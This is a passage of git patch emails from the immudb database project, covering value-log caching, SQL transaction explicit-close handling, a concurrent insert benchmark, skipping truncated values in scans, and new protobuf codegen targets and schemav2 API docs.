!errors.Is(err, cache.ErrKeyNotFound) { + if s.vLogCache != nil { + val, err := s.vLogCache.Get(off) + if err == nil { + // the requested value was found in the value cache + bval := val.([]byte) + + copy(b, bval) + n = len(bval) + + foundInTheCache = true + } else if !errors.Is(err, cache.ErrKeyNotFound) { return 0, err } } - } - vLogID, offset := decodeOffset(off) + if !foundInTheCache { + vLog := s.fetchVLog(vLogID) + defer s.releaseVLog(vLogID) - if vLogID == 0 { - // vLogID == 0 means value was not stored on any vlog i.e. empty value - // integrity check may still be done in such case - n = 0 - } else { - vLog := s.fetchVLog(vLogID) - defer s.releaseVLog(vLogID) + n, err = vLog.ReadAt(b, offset) + if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { + return n, ErrAlreadyClosed + } + if err != nil { + return n, err + } - n, err = vLog.ReadAt(b, offset) - if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { - return n, ErrAlreadyClosed - } - if err != nil { - return n, err + if s.vLogCache != nil { + cb := make([]byte, n) + copy(cb, b) + + _, _, err = s.vLogCache.Put(off, cb) + if err != nil { + return n, err + } + } } } - if !skipIntegrityCheck && hvalue != sha256.Sum256(b[:n]) { + // either value was empty (n == 0 && vLogID == 0) + // or a non-empty value (n > 0 && vLogID > 0) was read from cache or disk + + if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { return n, ErrCorruptedData } diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 37aef94171..8264a0bb12 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -303,6 +303,15 @@ func (v *valueRef) Resolve() (val []byte, err error) { return nil, ErrExpiredEntry } + if v.valLen == 0 { + // while not required, nil is returned instead of an empty slice + + // TODO: this step should be done after reading the value to ensure proper validations are made + // But current changes in ExportTx with truncated transactions are not providing the value length + // for truncated transactions + return nil, nil + } + _, err = v.st.readValueAt(refVal, v.vOff, v.hVal, false) if err != nil { return nil, err From 9b17e85a52a822a30aa99266e21d8b00b3ef2553 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Feb 2023 15:48:04 -0300 Subject: [PATCH 0233/1062] fix(embedded/sql): include explicit close into sqlTx options Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 16 ++++++++-------- embedded/sql/sql_tx.go | 25 +++++++++++++++++-------- embedded/sql/sql_tx_options.go | 7 +++++++ embedded/sql/stmt.go | 29 ++++++++++++----------------- 4 files changed, 44 insertions(+), 33 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index ecfc6905d0..7f8e12daca 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -291,8 +291,8 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt _, isDBSelectionStmt := stmt.(*UseDatabaseStmt) // handle the case when working in non-autocommit mode outside a transaction block - if isDBSelectionStmt && (currTx != nil && !currTx.closed) && !currTx.explicitClose { - err = currTx.commit(ctx) + if isDBSelectionStmt && (currTx != nil && !currTx.Closed()) && !currTx.IsExplicitCloseRequired() { + err = currTx.Commit(ctx) if err == nil { committedTxs = append(committedTxs, currTx) } @@ -301,7 +301,7 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } } - if currTx == nil || currTx.closed { + if currTx == nil || currTx.Closed() { var opts *TxOptions if currTx != nil { @@ -325,8 +325,8 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt return nil, committedTxs, stmts[execStmts:], err } - if !currTx.closed && !currTx.explicitClose && e.autocommit { - err = currTx.commit(ctx) + if !currTx.Closed() && !currTx.IsExplicitCloseRequired() && e.autocommit { + err = currTx.Commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } @@ -345,8 +345,8 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } } - if currTx != nil && !currTx.closed && !currTx.explicitClose { - err = currTx.commit(ctx) + if currTx != nil && !currTx.Closed() && !currTx.IsExplicitCloseRequired() { + err = currTx.Commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } @@ -354,7 +354,7 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt committedTxs = append(committedTxs, currTx) } - if currTx != nil && currTx.closed { + if currTx != nil && currTx.Closed() { currTx = nil } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 137adcc32a..7b7c6dfc03 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -35,8 +35,6 @@ type SQLTx struct { currentDB *Database catalog *Catalog // in-mem catalog - explicitClose bool - updatedRows int lastInsertedPKs map[string]int64 // last inserted PK by table name firstInsertedPKs map[string]int64 // first inserted PK by table name @@ -51,6 +49,20 @@ func (sqlTx *SQLTx) Catalog() *Catalog { return sqlTx.catalog } +func (sqlTx *SQLTx) IsExplicitCloseRequired() bool { + return sqlTx.opts.ExplicitClose +} + +func (sqlTx *SQLTx) RequireExplicitClose() error { + if sqlTx.updatedRows != 0 { + return store.ErrIllegalState + } + + sqlTx.opts.ExplicitClose = true + + return nil +} + func (sqlTx *SQLTx) useDatabase(dbName string) error { db, err := sqlTx.catalog.GetDatabaseByName(dbName) if err != nil { @@ -125,15 +137,12 @@ func (sqlTx *SQLTx) Cancel() error { return sqlTx.tx.Cancel() } -func (sqlTx *SQLTx) commit(ctx context.Context) error { - if sqlTx.closed { - return ErrAlreadyClosed - } - +func (sqlTx *SQLTx) Commit(ctx context.Context) error { sqlTx.committed = true sqlTx.closed = true - hdr, err := sqlTx.tx.Commit(ctx) + // no need to wait for indexing to be up to date during commit phase + hdr, err := sqlTx.tx.AsyncCommit(ctx) if err != nil && err != store.ErrorNoEntriesProvided { return err } diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go index 805b3b3dd3..a223226576 100644 --- a/embedded/sql/sql_tx_options.go +++ b/embedded/sql/sql_tx_options.go @@ -27,6 +27,7 @@ type TxOptions struct { ReadOnly bool SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 SnapshotRenewalPeriod time.Duration + ExplicitClose bool } func DefaultTxOptions() *TxOptions { @@ -36,6 +37,7 @@ func DefaultTxOptions() *TxOptions { ReadOnly: txOpts.Mode == store.ReadOnlyTx, SnapshotMustIncludeTxID: txOpts.SnapshotMustIncludeTxID, SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, + ExplicitClose: false, // commit or rollback explicitly required } } @@ -61,3 +63,8 @@ func (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Dura opts.SnapshotRenewalPeriod = snapshotRenewalPeriod return opts } + +func (opts *TxOptions) WithExplicitClose(explicitClose bool) *TxOptions { + opts.ExplicitClose = explicitClose + return opts +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index fd57962865..af17e225fa 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -135,29 +135,24 @@ func (stmt *BeginTransactionStmt) inferParameters(ctx context.Context, tx *SQLTx } func (stmt *BeginTransactionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.explicitClose { + if tx.IsExplicitCloseRequired() { return nil, ErrNestedTxNotSupported } - if tx.updatedRows == 0 { - tx.explicitClose = true + err := tx.RequireExplicitClose() + if err == nil { + // current tx can be reused as no changes were already made return tx, nil } - // explicit tx initialization with implicit tx in progress + // commit current transaction and start a fresh one - err := tx.commit(ctx) + err = tx.Commit(ctx) if err != nil { return nil, err } - ntx, err := tx.engine.NewTx(ctx, tx.opts) - if err != nil { - return nil, err - } - - ntx.explicitClose = true - return ntx, nil + return tx.engine.NewTx(ctx, tx.opts.WithExplicitClose(true)) } type CommitStmt struct { @@ -168,11 +163,11 @@ func (stmt *CommitStmt) inferParameters(ctx context.Context, tx *SQLTx, params m } func (stmt *CommitStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if !tx.explicitClose { + if !tx.IsExplicitCloseRequired() { return nil, ErrNoOngoingTx } - return nil, tx.commit(ctx) + return nil, tx.Commit(ctx) } type RollbackStmt struct { @@ -183,7 +178,7 @@ func (stmt *RollbackStmt) inferParameters(ctx context.Context, tx *SQLTx, params } func (stmt *RollbackStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if !tx.explicitClose { + if !tx.IsExplicitCloseRequired() { return nil, ErrNoOngoingTx } @@ -200,7 +195,7 @@ func (stmt *CreateDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, } func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.explicitClose { + if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database creation can not be done within a transaction", ErrNonTransactionalStmt) } @@ -239,7 +234,7 @@ func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, fmt.Errorf("%w: no database name was provided", ErrIllegalArguments) } - if tx.explicitClose { + if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", ErrNonTransactionalStmt) } From b6a0cdf551b7476568491fe246d297f1689cddae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Feb 2023 15:48:41 -0300 Subject: [PATCH 0234/1062] test(embedded/sql): insert into benchmark Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 84 +++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index b93402df8f..645fa5aae3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6131,3 +6131,87 @@ func TestCopyCatalogToTx(t *testing.T) { require.NoError(t, err) }) } + +func BenchmarkInsertInto(b *testing.B) { + workerCount := 100 + + opts := store.DefaultOptions(). + WithSynced(false). + WithMaxConcurrency(workerCount) + + st, err := store.Open(b.TempDir(), opts) + if err != nil { + b.Fail() + } + + defer st.Close() + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + if err != nil { + b.Fail() + } + + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) + if err != nil { + b.Fail() + } + + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) + if err != nil { + b.Fail() + } + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id);", nil) + if err != nil { + b.Fail() + } + + time.Sleep(1 * time.Second) + + b.ResetTimer() + + for i := 0; i < b.N; i++ { + var wg sync.WaitGroup + wg.Add(workerCount) + + for w := 0; w < workerCount; w++ { + go func(r, w int) { + txCount := 50 + eCount := 10 + + for i := 0; i < txCount; i++ { + txOpts := DefaultTxOptions(). + WithExplicitClose(true). + WithSnapshotRenewalPeriod(1000 * time.Millisecond). + WithSnapshotMustIncludeTxID(nil) + + tx, err := engine.NewTx(context.Background(), txOpts) + if err != nil { + b.Fail() + } + + for j := 0; j < eCount; j++ { + params := map[string]interface{}{ + "id": fmt.Sprintf("id_%d_%d_%d_%d", r, w, i, j), + "title": fmt.Sprintf("title_%d_%d_%d_%d", r, w, i, j), + } + + _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) + if err != nil { + b.Fail() + } + } + + err = tx.Commit(context.Background()) + if err != nil { + b.Fail() + } + } + + wg.Done() + }(i, w) + } + + wg.Wait() + } +} From 2002d90f85914974dfbff7144ff812f718fa2bed Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 9 Feb 2023 16:38:47 -0300 Subject: [PATCH 0235/1062] fix(pkg/server): request explicit close when creating a rw sql tx Signed-off-by: Jeronimo Irazabal fix(pkg/server): request explicit close when creating a rw sql tx Signed-off-by: Jeronimo Irazabal --- .../sessions/internal/transactions/transactions.go | 11 +++++------ .../internal/transactions/transactions_test.go | 3 +++ 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/pkg/server/sessions/internal/transactions/transactions.go b/pkg/server/sessions/internal/transactions/transactions.go index e33f97b513..ff71f75166 100644 --- a/pkg/server/sessions/internal/transactions/transactions.go +++ b/pkg/server/sessions/internal/transactions/transactions.go @@ -45,14 +45,13 @@ type Transaction interface { } func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) { - transactionID := xid.New().String() - - tx, err := db.NewSQLTx(ctx, opts) - if err != nil { - return nil, err + if opts == nil { + return nil, sql.ErrIllegalArguments } - sqlTx, _, err := db.SQLExec(ctx, tx, &schema.SQLExecRequest{Sql: "BEGIN TRANSACTION;"}) + transactionID := xid.New().String() + + sqlTx, err := db.NewSQLTx(ctx, opts.WithExplicitClose(true)) if err != nil { return nil, err } diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index 800d22ea89..ceb25b7d65 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -33,6 +33,9 @@ func TestNewTx(t *testing.T) { db, err := database.NewDB("db1", nil, database.DefaultOption().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) require.NoError(t, err) + _, err = NewTransaction(context.Background(), nil, db, "session1") + require.ErrorIs(t, err, sql.ErrIllegalArguments) + tx, err := NewTransaction(context.Background(), sql.DefaultTxOptions(), db, "session1") require.NoError(t, err) require.NotNil(t, tx) From 3ee3fe477731db79f9d1d5b7b674137e94c14b1e Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Feb 2023 07:15:04 +0530 Subject: [PATCH 0236/1062] fix(pkg/database): skip eof error during scan eof error, which is returned when data is truncated, should not block reading scanning all keys --- pkg/database/scan.go | 6 +++ pkg/database/scan_test.go | 88 ++++++++++++++++++++++++++++++++++++++ pkg/database/sorted_set.go | 6 +++ 3 files changed, 100 insertions(+) diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 52673229a9..9c18f98ef0 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -18,7 +18,9 @@ package database import ( "context" + "errors" "fmt" + "io" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" @@ -95,6 +97,10 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries // ignore deleted ones (referenced key may have been deleted) continue } + if errors.Is(err, io.EOF) { + // ignore truncated values (referenced value may have been truncated) + continue + } if err != nil { return nil, err } diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 76f5d70b8a..86dc7e3c7c 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -265,3 +265,91 @@ func TestStoreScanEndKey(t *testing.T) { } }) } + +func TestStoreScanWithTruncation(t *testing.T) { + rootPath := t.TempDir() + + fileSize := 12 + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) + options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.MaxConcurrency = 500 + options.storeOpts.VLogCacheSize = 0 + + db := makeDbWith(t, "db", options) + + for i := 0; i < 10; i++ { + _, err := db.Set( + context.Background(), + &schema.SetRequest{ + KVs: []*schema.KeyValue{{ + Key: []byte(fmt.Sprintf("prefix:suffix%d", i)), + Value: []byte(`item`), + }}, + }, + ) + require.NoError(t, err) + } + + deletePointTx := uint64(5) + + t.Run("ensure data is truncated up to delete point", func(t *testing.T) { + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) + require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + + for i := deletePointTx; i < 10; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.Error(t, err) + } + } + }) + + t.Run("ensure scanning prefix works post data deletion", func(t *testing.T) { + scanOptions := schema.ScanRequest{ + SeekKey: nil, + Prefix: []byte(`prefix:`), + Limit: 0, + Desc: false, + SinceTx: deletePointTx, + } + + list, err := db.Scan(context.Background(), &scanOptions) + require.NoError(t, err) + require.GreaterOrEqual(t, len(list.Entries), 6) + require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`)) + require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix4`)) + require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix5`)) + + scanOptions = schema.ScanRequest{ + SeekKey: []byte(`prefix?`), + Prefix: []byte(`prefix:`), + Limit: 0, + Desc: true, + SinceTx: deletePointTx, + } + + list, err = db.Scan(context.Background(), &scanOptions) + require.NoError(t, err) + require.GreaterOrEqual(t, len(list.Entries), 6) + require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix9`)) + require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix8`)) + require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`)) + }) +} diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 19e6c28976..9c4c7ea04f 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -19,7 +19,9 @@ package database import ( "context" "encoding/binary" + "errors" "fmt" + "io" "math" "github.com/codenotary/immudb/embedded/store" @@ -211,6 +213,10 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr // ignore deleted ones (referenced key may have been deleted) continue } + if errors.Is(err, io.EOF) { + // ignore truncated values (referenced value may have been truncated) + continue + } if err != nil { return nil, err } From 246773cc2707dc84f848020c4ec941a266ab8d30 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 16 Feb 2023 10:39:48 +0100 Subject: [PATCH 0237/1062] Enable reflections, schema definition start, new flags --- Makefile | 36 + cmd/immudb/command/parse_options.go | 9 +- pkg/api/schemav2/docs.md | 337 +++++++ pkg/api/schemav2/schemav2.pb.go | 1146 ++++++++++++++++++++++++ pkg/api/schemav2/schemav2.pb.gw.go | 574 ++++++++++++ pkg/api/schemav2/schemav2.proto | 143 +++ pkg/api/schemav2/schemav2.swagger.json | 825 +++++++++++++++++ pkg/api/schemav2/schemav2_grpc.pb.go | 281 ++++++ pkg/server/options.go | 155 ++-- pkg/server/server.go | 4 + 10 files changed, 3442 insertions(+), 68 deletions(-) create mode 100644 pkg/api/schemav2/docs.md create mode 100644 pkg/api/schemav2/schemav2.pb.go create mode 100644 pkg/api/schemav2/schemav2.pb.gw.go create mode 100644 pkg/api/schemav2/schemav2.proto create mode 100644 pkg/api/schemav2/schemav2.swagger.json create mode 100644 pkg/api/schemav2/schemav2_grpc.pb.go diff --git a/Makefile b/Makefile index 15eb7748f8..593cb44086 100644 --- a/Makefile +++ b/Makefile @@ -175,6 +175,42 @@ build/codegen: --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc +.PHONY: build/codegenv2 +build/codegenv2: + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --go_out=paths=source_relative:pkg/api/schemav2 \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schemav2 \ + --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ + --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schemav2 \ + --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --swagger_out=logtostderr=true:pkg/api/schemav2 \ + --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ + --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc + .PHONY: clean clean: rm -rf immudb immuclient immuadmin immutest ./webconsole/dist diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index db9ac8a780..9fdd27fa90 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -82,6 +82,10 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") + gatewayServerEnabled := viper.GetBool("restapi") + reflectionServerEnabled := viper.GetBool("reflection") + swaggerUIEnabled := viper.GetBool("swaggerui") + s3Storage := viper.GetBool("s3-storage") s3Endpoint := viper.GetString("s3-endpoint") s3AccessKeyID := viper.GetString("s3-access-key-id") @@ -140,7 +144,10 @@ func parseOptions() (options *server.Options, err error) { WithPgsqlServerPort(pgsqlServerPort). WithSessionOptions(sessionOptions). WithPProf(pprof). - WithLogFormat(logFormat) + WithLogFormat(logFormat). + WithGatewayServerEnabled(gatewayServerEnabled). + WithSwaggerUIEnabled(swaggerUIEnabled). + WithReflectionServerEnabled(reflectionServerEnabled) return options, nil } diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md new file mode 100644 index 0000000000..597348dcd2 --- /dev/null +++ b/pkg/api/schemav2/docs.md @@ -0,0 +1,337 @@ +# Protocol Documentation + + +## Table of Contents + +- [schemav2.proto](#schemav2.proto) + - [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) + - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) + - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) + - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) + - [CollectionInformation](#immudb.schemav2.CollectionInformation) + - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) + - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) + - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) + - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) + - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) + - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) + - [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) + - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) + - [LoginRequest](#immudb.schemav2.LoginRequest) + - [LoginResponse](#immudb.schemav2.LoginResponse) + - [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) + + - [ImmuService](#immudb.schemav2.ImmuService) + +- [Scalar Value Types](#scalar-value-types) + + + + +

Top

+ +## schemav2.proto + + + + + +### CollectionCreateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionCreateRequest.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionCreateRequest.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionInformation + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionInformation.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionInformation.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionListRequest + + + + + + + + + +### CollectionListResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collections | [CollectionInformation](#immudb.schemav2.CollectionInformation) | repeated | | + + + + + + + + +### DocumentInsertRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | + + + + + + + + +### DocumentSearchRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentSearchRequest.QueryEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | + + + + + + + + +### DocumentSearchResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | +| entriesLeft | [uint32](#uint32) | | | + + + + + + + + +### LoginRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| username | [string](#string) | | | +| password | [string](#string) | | | +| database | [string](#string) | | | +| writeAccess | [bool](#bool) | | | + + + + + + + + +### LoginResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| token | [string](#string) | | | + + + + + + + + +### PossibleIndexValue + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| number_value | [double](#double) | | Represents a double value. | +| string_value | [string](#string) | | Represents a string value. | +| bool_value | [bool](#bool) | | Represents a boolean value. | +| int_value | [int64](#int64) | | Represents a int64 value | + + + + + + + + + + + + + + +### ImmuService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| Login | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponse](#immudb.schemav2.LoginResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | +| CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | + + + + + +## Scalar Value Types + +| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | +| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | +| double | | double | double | float | float64 